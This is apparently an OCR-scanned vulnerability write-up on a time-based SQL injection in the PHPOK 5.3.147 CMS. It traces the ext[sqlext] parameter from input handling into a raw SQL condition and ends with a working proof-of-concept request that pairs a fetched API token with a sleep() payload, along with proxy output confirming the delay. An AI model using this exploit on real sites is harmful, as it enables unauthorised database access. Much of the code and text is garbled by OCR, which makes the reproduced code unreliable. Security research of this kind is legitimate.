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[REERENSEL:  sthis-sget() TIIA
framework/init.php#get

e

final public function get($id,$type="safe",$ext="")
{

// PGCAJF3RHEL

$val = isset($_POST[$id]) ? $_POST[$id] : (isset($_GET[$id]) ? $_GET[$id] : (isset($_COOKIE[$id]) ?
$_COOKIE[$id] : ''));

if($val == '"){
if($type == 'int' || $type == 'intval' || $type == 'float' || $type == 'floatval'){
return 0;
}else{
return '';
}
}

[/ FIWTNERBE L, A R SCREHRE S B X
$addslashes = false,


https://www.phpok.com/phpok.html

1t(tunction_exists(“get_maglic_quotes_gpc”) && get_magic_quotes_gpc())q
$addslashes = true;

}

if(!$addslashes){
$val = $this->_addslashes($val);

¥

return $this->format($val, $type,$ext);

ERi format ¥EL: framework/init.php#format

final public function format($msg,$type="safe",$ext="")
{
if($msg == ""){

return N
}
if(is_array($msg)){
foreach($msg as $key=>$value){
if(!'is_numeric($key)){
$key2 = $this->format($key);

if($key2 == '' || in_array($key2,array('#','&",'%"'))){
unset($msg[$key]);
continue;

}

}
$msg[$key] = $this->format($value,$type,$ext);

}
if($msg && count($msg)>0){
return $msg;

}
return false;
}
if($type == 'html_js' || ($type == 'html' 8&& $ext)){
$msg = stripslashes($msg);
if($this->app_id !'= 'admin'){

$msg = $this->1ib('string')->xss_clean($msg);
}
$msg = $this->1ib('string')->clear_url($msg,$this->url);
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/] e LERR
$msg = stripslashes($msg);

VOL - SN R e R
switch ($type){

case 'safe_text':
$msg = strip_tags($msg);

$msg = str_replace(array("\\", R oM<t dmsg) 5

break;
case 'system':

$msg = !preg _match("/~[a-zA-Z][a-z0-9A-Z\_\-]+$/u",$msg) ? false

break;

case 'id':

$msg = !preg_match("/~[a-zA-Z][a-z0-9A-Z\_\-]+$/u",$msg) ? false

break;
case 'checkbox':

$msg = strtolower($msg) ==
break;
case 'int':

$msg = intval($msg);
break;
case 'intval':

$msg = intval($msg);
break;
case 'float':

$msg = floatval($msg);
break;
case 'floatval':

$msg = floatval($msg);
break;
case 'time':

$msg = strtotime($msg);
break;
case 'html':

‘on' ? 1 : $this->format($msg, 'safe’);

$msg = $this->1ib('string')->safe_html($msg,$this->url);

break;
case 'func':

$msg = function_exists($ext) ? $ext($msg) : false;

break;
case 'text':

. $msg;

: $msg;



$msg = strip_tags(smsg);

break;
default:
$msg = str_replace(array("\\",""",""","<",">"),array("\",""",""","<",">"), $msg) ;
break;
}
if($msg){
$msg = addslashes($msg);
}

return $msg;
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framework/api/index_control.php#phpok f

//...
$token = $this->get("token");
if(!$token){
$this->json(P_Lang("# ¥R RH"));
}
$this->1ib('token')->keyid($this->site['api_code']);
$info = $this->1ib('token')->decode($token);
if(1$info){
$this->json(P_Lang('fEEAZT"));
}
$id = $info['id'];

// 17647
$ext = $this->get('ext');
if($ext && is_array($ext)){
foreach($ext as $key=>$value){
if(!$value){
continue;
}
// sqlextZFEHE SUEUTH
if($kev == 'salext' && $value){



-

$Va1ue = Stp_r‘eplace(ar‘ray('l',I"l)ll',I"‘),ar‘r‘ay("‘",l"‘,"|"Jl"‘),$value);
}
$param[$key] = $value;
}
}
// $id MINE fftoken ik
/] PHEsqlextMIMEM K E A _userlist. _arc_condition_single. _arc_condition
$list = $this->call->phpok($id,$param);

HreFiR phpok & framework/phpok_call.php#phpok

public function phpok($id,$rs="")

{
/1 7647
$siteinfo = $this->model('site')->get_one($rs['site']);
// 9147
if(substr($id,0,1) != '_"){
//%id MtokenwK, JHphpokFHidentifier7E, $rs['site’ ][5 ATR(E
$call rs = $this->load _phpoklist($id,$rs['site']);
}
// 11617
$func = '_'.$call_rs['type_id'];
// 13147 A B xxxx
return $this->$func($call_rs,$cache_id);
}

IRi# load phpoklist: framework/phpok call.php#load phpoklist

private function load_phpoklist($id,$siteid=0)
{
$this->model('call')->site_id($siteid);
if($this->_cache && $this->_cache[$id]){
return $this-> cache[$id];
}
$this->_cache = $this->model('call')->all($siteid, 'identifier');



if($this->_cache && $this->_cache[$id]){
return $this->_cache[$id];

}

return false;
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FEEIKNE framework/phpok_call.php SHEKATAEAR sql HIEREL, M phpok REFNAILIBZIEEAR
type id IBEUNARBAHE arclist . arc . catelist . project , MIBAIJBEEIKEIHE sqlext TEM
framework/phpok call.php# arclist

private function _arclist($rs,$cache_id="")

{

// 25447

$condition = $this->_arc_condition($rs,$flist,$project);

/7 NENEAE

$array[ 'total'] = $this->model('list')->arc_count($project[ 'module’'],$condition);
}

IRi#: framework/phpok call.php# arc_condition
EEHE T sqlext

private function _arc_condition($rs,$fields="",$project="")

{
// 62347
if($rs['sqlext']){
$condition .= " AND ".$rs['sqlext'];
}
// 67147
return $condition;
}
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$this->model('list"')->arc_count($project[ 'module’],$condition);

YEF: framework/model/list.php#arc_count

arc_count(

(1.id)
&& strpos(

—>db—>

)o{
(strpos(

(strpos(

list model_base  arc_count()

api.php

Console +* Output +*» = 2 + + 1
A dition =

$mid =
060, list_model_base->arc_count() -

$this =
1= $_COOKIE =
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public function count($sql="",%$is_count=true)
{
if($sql && is_string($sql) && $is_count){
$this->set('type', 'num');
$rs = $this->get_one($sql);
$this->set('type', 'assoc');
return $rs[0];
}else{
if($sql && is_string($sql)){
$this->query($sql);
}
if($this->query){

return mysqli_num_rows($this->query);

}

return false;

R get one FE: framework/engine/db/mysqli.php#get one

public function get_one($sql="'")
{
if($sql){
$false = $this->cache_false($sql);



if($false){
return false;

}
if($this->cache_get($sql)){
return $this->cache_get($sql);

}
$this->query($sql);

R sthis->query(ssql); :framework/engine/db/mysqli.php#query

query(
){

—>cache_sql( )

—>check_connect ()
—>_time()

- = mysqli_query(
){

(

—>cache_update( ) SELECT count(1l.id) FROM ginggan_list 1 JOIN ginggan_list_21 ext

SON(1l.id=ext.id AND l.site_id=ext.site_id AND l.project_id=ext.project_id)/
. WHERE 1l.site_id='1' AND l.hidden=0 AND l.project_id=41 AND
S l.status=1 AND l.parent_id=0 AND ext.picmobile != '! AND sleep(3)# |

= —>_time()
—>_count()
—>debug (
(mysqli_error( - )){
—>error( mysqli_error(

>

b_mysqli > query()

api.php
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SR, BIXE, HLAE—NIEREER, HAIFZEIMREZZ! token-in#(id=n_picplayer’)
framework/api/index_control.php#token f
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public function token_f()

{

$this->config('is_ajax',true);

if(!$this->site['api_code']){
$this->error(P_Lang(" R4 AR B OIIRE"));

}

$id = $this->get('id’', 'system');

if(1$id){
$this->error(P_Lang(' RIgEEIEHAIRIR));

}

$this->model('call')->site_id($this->site['id']);

// R#l7Ewhere identifier=$id

$rs = $this->model('call')->get_one($id, 'identifier');

if(!$rs || !$rs['status']){
$this->error(P_Lang (' FRIHAAAIETARIEH ")) ;

}

//14147

$array = array('id'=>$id, 'param’'=>$param);

$token = $this->1ib('token')->encode($array);

$this->success($token);

}
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IRFEHE, ESCHE— csrf B9 poc tBERTLARY

FZNEMEN id=m_picplayer BPA],

url: http://phpok5_3_147/api.php?c=index&f=token&id=m_picplayer

@ Not Secure | phpok5_3_147/api.php?c=index&f=token&id=m_picplayer

o s, S e 8 PEE

info: "6318fdtC3WRpOzYNzKVNw78PFa90hFea5pp3/uz4U3T67a/F47WhJ01r856V7yomOcG0u8/UJpIwKKOWIAKSpTSWN+51jVNWR5978g7HHOG14M" ,
status: 1,

session_name: "PHPSESSION",

session_val: "187bngdlu307g20iudfmphisu4”

(https://xzfile.aliyuncs.com/media/upload/picture/20191125160753-ae34dcc2-0f5a-1.png)

poc:

GET /api.php?
c=index&f=phpok&token=6318fdtC3WRpOzYNzKVNw78PFa90hFea5pp3/uZ4U3T67a/F47WhJ01r856V7yom0cGou8/UIpIwkKKOwIAKspTS
WN+51jVNWR5978g7HHoG14M&ext[sqlext]=sleep(5)%23&ext[site]=1 HTTP/1.1

Host: phpok5_3 147

Pragma: no-cache

Cache-Control: no-cache

Upgrade-Insecure-Requests: 1
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USCI “METIIL. FIUL111G7 JeU \All, U, LLIIUA 1UOU, MPPLSWEURLL/ J07 «0U \N
Safari/537.36

Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-

Flky L1ANT UTUNU ) VI VIS 7 JeUed/ I YeOU

exchange;v=b3

Accept-Encoding: gzip, deflate

Accept-Language: en-US,en;q=0.9,zh-CN;gq=0.8,zh;q=0.7
Cookie: PHPSESSION=187bngdlu307g20iudfmphisu4
Connection: close

Raw | Params [ Headers | Hex | xss | saui | RCE | LFi | sskF | ssTi Raw | Headers | Hex | U2C | JSON Beautifier |
GET A HTTP/1.1200 OK A
/api.phpZc=index&f=phpok&token= 63l8fd(C3WRpOzYNzKVNw78FFaQOhFea5pp3/u24U3T67a/F47WhjOIrS56V7yomOcCOu8/UJpleK [ Server: nginx/1.14.0 F
OwJAKspTSWN+51)VNWR597897HHoG1 1HTTP/1.1 Date: Wed, 20 Nov 2019 09:27:01 GMT
Host: phpok5_3_147 Content-Type: text/html; charset=ut-8
Pragma: no-cache Connection: close
Cache-Control: no-cache X-Powered-By: PHP/5.6.31
Upgrade-Insecure-Requests: 1 X-Frame-Options: sameorigin
User-Agent: Mozilla/5.0 (X11; U; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.86 Safari/537.36 Set-Cookie: PHPSESSION=187bngd 1u307g20iudfmphisud; path=/
Accept] Pragma: no-cache
text/html,application/xhtml+xml,application/xmi;q=0.9,image /webp, =0.8 sign hange;v=b3 Expires: Mon, 26 Jul 1997 05:00:00 GMT
Accept-Encoding: gzip, deflate Last-Modified: Mon, 26 Jul 1997 05:00:00 GMT
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7 Cache-control: no-cache,no-store,must-revalidate, max-age=0
Cookie: PHPSESSION=187bngd 1u307g20iudfmphisud Pramga: no-cache
Connection: close Content-Length: 958
{"status":"ok","conten
3e\u5668","nick_title’
icplayer.png’,‘orderby"
Videntifier""
tag*false,"cate. multiple"”
0" url""http:\/\/phpok_3_147\/index.php?id=picture-player'} total""
b 3
v v
? > | [Type a search term 0 matches > | [Type a search term \o matches
Done 1,413 bytes | 5,055 millis
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phpok5_3_147 ) b framework ) B engine ) B db sqli.p SON(1l.id=ext.id AND l.site_id=ext.site_id AND l.project_id=ext.project_id) 3
Projecty @ T & — control.php initphp liphp listphp db.php inde < WHERE ~ l.site_id="1' AND 1l.hidden=0 AND l.project_id=41 AND
phpok5_3_147 u - ( ){ S l.status=1 AND l.parent_id=@ AND ext.picmobile != '' AND sleep(3)#
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